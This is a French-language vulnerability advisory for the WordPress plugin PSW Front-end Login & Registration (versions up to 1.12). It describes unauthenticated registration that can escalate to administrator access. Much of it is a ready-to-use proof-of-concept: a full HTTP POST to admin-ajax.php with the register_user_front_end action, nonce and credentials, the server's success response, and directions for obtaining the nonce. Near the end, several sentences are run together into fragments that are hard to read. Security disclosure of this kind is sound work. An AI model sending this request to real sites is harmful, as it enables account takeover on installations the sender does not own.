
Le plugin WordPress PSW Front-end Login & Registration <= 1.12 est vulnérable à une authentification cassée.
Ce plugin expose une faille critique dans son mécanisme d'inscription.
Bien qu'il propose un formulaire d'inscription front-end basé sur un shortcode ([psw_registration]), il ne parvient pas à appliquer de restrictions de rôle appropriées ni de validation sécurisée.
Les attaquants peuvent exploiter ce mécanisme pour créer des comptes sans authentification — et si le default_role du site est mal configuré (par exemple, défini sur administrator), une escalade de privilèges complète peut se produire.
POST /wordpress/wp-admin/admin-ajax.php
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
psw_formest le champ nonce requis pour que la requête aboutisse.
Ce nonce est généré dynamiquement à partir du shortcode[psw_registration]sur le front-end.
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>
register_user_front_enddefault_role de WordPress pour attribuer les rôles utilisateuradministrator), l'attaquant obtient un accès completPour exposer le formulaire d'inscription et générer un nonce valide pour psw_form, le shortcode suivant est utilisé :
[psw_registration]
Celui-ci affiche un formulaire d'inscription qui inclut le champ nonce caché nécessaire pour que l'appel AJAX aboutisse.
default_role sur une valeur sûre (par exemple, subscriber)Ce rapport est à des fins éducatives et de tests de sécurité autorisés uniquement.
L'exploitation de cette vulnérabilité sans autorisation peut enfreindre les limites légales et éthiques.
NXploited (Khaled_Alenazi)